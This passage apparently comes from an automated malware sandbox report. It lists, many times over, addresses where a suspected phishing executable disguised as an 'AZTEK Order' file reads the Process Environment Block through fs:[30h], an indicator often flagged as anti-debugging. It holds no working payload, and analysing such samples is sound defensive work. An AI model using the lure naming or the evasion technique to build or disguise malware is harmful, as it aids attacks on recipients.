Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C03E9 mov eax, dword ptr fs:[00000030h]	5_2_013C03E9
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C03E9 mov eax, dword ptr fs:[00000030h]	5_2_013C03E9
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C03E9 mov eax, dword ptr fs:[00000030h]	5_2_013C03E9
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C03E9 mov eax, dword ptr fs:[00000030h]	5_2_013C03E9
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C03E9 mov eax, dword ptr fs:[00000030h]	5_2_013C03E9
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C03E9 mov eax, dword ptr fs:[00000030h]	5_2_013C03E9
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C03E9 mov eax, dword ptr fs:[00000030h]	5_2_013C03E9
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C03E9 mov eax, dword ptr fs:[00000030h]	5_2_013C03E9
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013BA3C0 mov eax, dword ptr fs:[00000030h]	5_2_013BA3C0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013BA3C0 mov eax, dword ptr fs:[00000030h]	5_2_013BA3C0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013BA3C0 mov eax, dword ptr fs:[00000030h]	5_2_013BA3C0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013BA3C0 mov eax, dword ptr fs:[00000030h]	5_2_013BA3C0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013BA3C0 mov eax, dword ptr fs:[00000030h]	5_2_013BA3C0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013BA3C0 mov eax, dword ptr fs:[00000030h]	5_2_013BA3C0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B83C0 mov eax, dword ptr fs:[00000030h]	5_2_013B83C0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B83C0 mov eax, dword ptr fs:[00000030h]	5_2_013B83C0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B83C0 mov eax, dword ptr fs:[00000030h]	5_2_013B83C0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B83C0 mov eax, dword ptr fs:[00000030h]	5_2_013B83C0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01438243 mov eax, dword ptr fs:[00000030h]	5_2_01438243
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01438243 mov ecx, dword ptr fs:[00000030h]	5_2_01438243
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013A823B mov eax, dword ptr fs:[00000030h]	5_2_013A823B
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0146A250 mov eax, dword ptr fs:[00000030h]	5_2_0146A250
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0146A250 mov eax, dword ptr fs:[00000030h]	5_2_0146A250
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01460274 mov eax, dword ptr fs:[00000030h]	5_2_01460274
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01460274 mov eax, dword ptr fs:[00000030h]	5_2_01460274
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01460274 mov eax, dword ptr fs:[00000030h]	5_2_01460274
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01460274 mov eax, dword ptr fs:[00000030h]	5_2_01460274
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01460274 mov eax, dword ptr fs:[00000030h]	5_2_01460274
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01460274 mov eax, dword ptr fs:[00000030h]	5_2_01460274
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01460274 mov eax, dword ptr fs:[00000030h]	5_2_01460274
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01460274 mov eax, dword ptr fs:[00000030h]	5_2_01460274
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01460274 mov eax, dword ptr fs:[00000030h]	5_2_01460274
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01460274 mov eax, dword ptr fs:[00000030h]	5_2_01460274
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01460274 mov eax, dword ptr fs:[00000030h]	5_2_01460274
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01460274 mov eax, dword ptr fs:[00000030h]	5_2_01460274
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013A826B mov eax, dword ptr fs:[00000030h]	5_2_013A826B
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B4260 mov eax, dword ptr fs:[00000030h]	5_2_013B4260
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B4260 mov eax, dword ptr fs:[00000030h]	5_2_013B4260
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B4260 mov eax, dword ptr fs:[00000030h]	5_2_013B4260
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B6259 mov eax, dword ptr fs:[00000030h]	5_2_013B6259
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013AA250 mov eax, dword ptr fs:[00000030h]	5_2_013AA250
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013EE284 mov eax, dword ptr fs:[00000030h]	5_2_013EE284
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013EE284 mov eax, dword ptr fs:[00000030h]	5_2_013EE284
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01430283 mov eax, dword ptr fs:[00000030h]	5_2_01430283
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01430283 mov eax, dword ptr fs:[00000030h]	5_2_01430283
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01430283 mov eax, dword ptr fs:[00000030h]	5_2_01430283
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C02E1 mov eax, dword ptr fs:[00000030h]	5_2_013C02E1
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C02E1 mov eax, dword ptr fs:[00000030h]	5_2_013C02E1
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C02E1 mov eax, dword ptr fs:[00000030h]	5_2_013C02E1
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_014462A0 mov eax, dword ptr fs:[00000030h]	5_2_014462A0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_014462A0 mov ecx, dword ptr fs:[00000030h]	5_2_014462A0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_014462A0 mov eax, dword ptr fs:[00000030h]	5_2_014462A0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_014462A0 mov eax, dword ptr fs:[00000030h]	5_2_014462A0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_014462A0 mov eax, dword ptr fs:[00000030h]	5_2_014462A0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_014462A0 mov eax, dword ptr fs:[00000030h]	5_2_014462A0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013BA2C3 mov eax, dword ptr fs:[00000030h]	5_2_013BA2C3
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013BA2C3 mov eax, dword ptr fs:[00000030h]	5_2_013BA2C3
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013BA2C3 mov eax, dword ptr fs:[00000030h]	5_2_013BA2C3
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013BA2C3 mov eax, dword ptr fs:[00000030h]	5_2_013BA2C3
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013BA2C3 mov eax, dword ptr fs:[00000030h]	5_2_013BA2C3
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013DE53E mov eax, dword ptr fs:[00000030h]	5_2_013DE53E
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013DE53E mov eax, dword ptr fs:[00000030h]	5_2_013DE53E
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013DE53E mov eax, dword ptr fs:[00000030h]	5_2_013DE53E
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013DE53E mov eax, dword ptr fs:[00000030h]	5_2_013DE53E
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013DE53E mov eax, dword ptr fs:[00000030h]	5_2_013DE53E
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C0535 mov eax, dword ptr fs:[00000030h]	5_2_013C0535
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C0535 mov eax, dword ptr fs:[00000030h]	5_2_013C0535
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C0535 mov eax, dword ptr fs:[00000030h]	5_2_013C0535
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C0535 mov eax, dword ptr fs:[00000030h]	5_2_013C0535
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C0535 mov eax, dword ptr fs:[00000030h]	5_2_013C0535
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C0535 mov eax, dword ptr fs:[00000030h]	5_2_013C0535
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01446500 mov eax, dword ptr fs:[00000030h]	5_2_01446500
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01484500 mov eax, dword ptr fs:[00000030h]	5_2_01484500
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01484500 mov eax, dword ptr fs:[00000030h]	5_2_01484500
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01484500 mov eax, dword ptr fs:[00000030h]	5_2_01484500
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01484500 mov eax, dword ptr fs:[00000030h]	5_2_01484500
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01484500 mov eax, dword ptr fs:[00000030h]	5_2_01484500
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01484500 mov eax, dword ptr fs:[00000030h]	5_2_01484500
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01484500 mov eax, dword ptr fs:[00000030h]	5_2_01484500
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013E656A mov eax, dword ptr fs:[00000030h]	5_2_013E656A
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013E656A mov eax, dword ptr fs:[00000030h]	5_2_013E656A
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013E656A mov eax, dword ptr fs:[00000030h]	5_2_013E656A
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B8550 mov eax, dword ptr fs:[00000030h]	5_2_013B8550
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B8550 mov eax, dword ptr fs:[00000030h]	5_2_013B8550
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013D45B1 mov eax, dword ptr fs:[00000030h]	5_2_013D45B1
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013D45B1 mov eax, dword ptr fs:[00000030h]	5_2_013D45B1
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013EE59C mov eax, dword ptr fs:[00000030h]	5_2_013EE59C
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013E4588 mov eax, dword ptr fs:[00000030h]	5_2_013E4588
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B2582 mov eax, dword ptr fs:[00000030h]	5_2_013B2582
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B2582 mov ecx, dword ptr fs:[00000030h]	5_2_013B2582
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013EC5ED mov eax, dword ptr fs:[00000030h]	5_2_013EC5ED
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013EC5ED mov eax, dword ptr fs:[00000030h]	5_2_013EC5ED
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013DE5E7 mov eax, dword ptr fs:[00000030h]	5_2_013DE5E7
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013DE5E7 mov eax, dword ptr fs:[00000030h]	5_2_013DE5E7
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013DE5E7 mov eax, dword ptr fs:[00000030h]	5_2_013DE5E7
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013DE5E7 mov eax, dword ptr fs:[00000030h]	5_2_013DE5E7
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013DE5E7 mov eax, dword ptr fs:[00000030h]	5_2_013DE5E7
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013DE5E7 mov eax, dword ptr fs:[00000030h]	5_2_013DE5E7
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013DE5E7 mov eax, dword ptr fs:[00000030h]	5_2_013DE5E7
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013DE5E7 mov eax, dword ptr fs:[00000030h]	5_2_013DE5E7
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B25E0 mov eax, dword ptr fs:[00000030h]	5_2_013B25E0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_014305A7 mov eax, dword ptr fs:[00000030h]	5_2_014305A7
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_014305A7 mov eax, dword ptr fs:[00000030h]	5_2_014305A7
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_014305A7 mov eax, dword ptr fs:[00000030h]	5_2_014305A7
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B65D0 mov eax, dword ptr fs:[00000030h]	5_2_013B65D0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013EA5D0 mov eax, dword ptr fs:[00000030h]	5_2_013EA5D0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013EA5D0 mov eax, dword ptr fs:[00000030h]	5_2_013EA5D0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013EE5CF mov eax, dword ptr fs:[00000030h]	5_2_013EE5CF
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013EE5CF mov eax, dword ptr fs:[00000030h]	5_2_013EE5CF
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013EA430 mov eax, dword ptr fs:[00000030h]	5_2_013EA430
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0146A456 mov eax, dword ptr fs:[00000030h]	5_2_0146A456
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013AE420 mov eax, dword ptr fs:[00000030h]	5_2_013AE420
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013AE420 mov eax, dword ptr fs:[00000030h]	5_2_013AE420
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013AE420 mov eax, dword ptr fs:[00000030h]	5_2_013AE420
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013AC427 mov eax, dword ptr fs:[00000030h]	5_2_013AC427
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0143C460 mov ecx, dword ptr fs:[00000030h]	5_2_0143C460
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013E8402 mov eax, dword ptr fs:[00000030h]	5_2_013E8402
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013E8402 mov eax, dword ptr fs:[00000030h]	5_2_013E8402
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013E8402 mov eax, dword ptr fs:[00000030h]	5_2_013E8402
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013DA470 mov eax, dword ptr fs:[00000030h]	5_2_013DA470
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013DA470 mov eax, dword ptr fs:[00000030h]	5_2_013DA470
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013DA470 mov eax, dword ptr fs:[00000030h]	5_2_013DA470
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01436420 mov eax, dword ptr fs:[00000030h]	5_2_01436420
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01436420 mov eax, dword ptr fs:[00000030h]	5_2_01436420
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01436420 mov eax, dword ptr fs:[00000030h]	5_2_01436420
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01436420 mov eax, dword ptr fs:[00000030h]	5_2_01436420
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01436420 mov eax, dword ptr fs:[00000030h]	5_2_01436420
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01436420 mov eax, dword ptr fs:[00000030h]	5_2_01436420
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01436420 mov eax, dword ptr fs:[00000030h]	5_2_01436420
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013A645D mov eax, dword ptr fs:[00000030h]	5_2_013A645D
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013D245A mov eax, dword ptr fs:[00000030h]	5_2_013D245A
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013EE443 mov eax, dword ptr fs:[00000030h]	5_2_013EE443
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013EE443 mov eax, dword ptr fs:[00000030h]	5_2_013EE443
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013EE443 mov eax, dword ptr fs:[00000030h]	5_2_013EE443
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013EE443 mov eax, dword ptr fs:[00000030h]	5_2_013EE443
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013EE443 mov eax, dword ptr fs:[00000030h]	5_2_013EE443
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013EE443 mov eax, dword ptr fs:[00000030h]	5_2_013EE443
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013EE443 mov eax, dword ptr fs:[00000030h]	5_2_013EE443
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013EE443 mov eax, dword ptr fs:[00000030h]	5_2_013EE443
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013E44B0 mov ecx, dword ptr fs:[00000030h]	5_2_013E44B0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B64AB mov eax, dword ptr fs:[00000030h]	5_2_013B64AB
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0146A49A mov eax, dword ptr fs:[00000030h]	5_2_0146A49A
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B04E5 mov ecx, dword ptr fs:[00000030h]	5_2_013B04E5
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0143A4B0 mov eax, dword ptr fs:[00000030h]	5_2_0143A4B0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013E273C mov eax, dword ptr fs:[00000030h]	5_2_013E273C
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013E273C mov ecx, dword ptr fs:[00000030h]	5_2_013E273C
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013E273C mov eax, dword ptr fs:[00000030h]	5_2_013E273C
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01434755 mov eax, dword ptr fs:[00000030h]	5_2_01434755
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013EC720 mov eax, dword ptr fs:[00000030h]	5_2_013EC720
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013EC720 mov eax, dword ptr fs:[00000030h]	5_2_013EC720
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0143E75D mov eax, dword ptr fs:[00000030h]	5_2_0143E75D
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B0710 mov eax, dword ptr fs:[00000030h]	5_2_013B0710
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013E0710 mov eax, dword ptr fs:[00000030h]	5_2_013E0710
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013EC700 mov eax, dword ptr fs:[00000030h]	5_2_013EC700
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B8770 mov eax, dword ptr fs:[00000030h]	5_2_013B8770
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C0770 mov eax, dword ptr fs:[00000030h]	5_2_013C0770
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C0770 mov eax, dword ptr fs:[00000030h]	5_2_013C0770
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C0770 mov eax, dword ptr fs:[00000030h]	5_2_013C0770
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C0770 mov eax, dword ptr fs:[00000030h]	5_2_013C0770
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C0770 mov eax, dword ptr fs:[00000030h]	5_2_013C0770
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C0770 mov eax, dword ptr fs:[00000030h]	5_2_013C0770
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C0770 mov eax, dword ptr fs:[00000030h]	5_2_013C0770
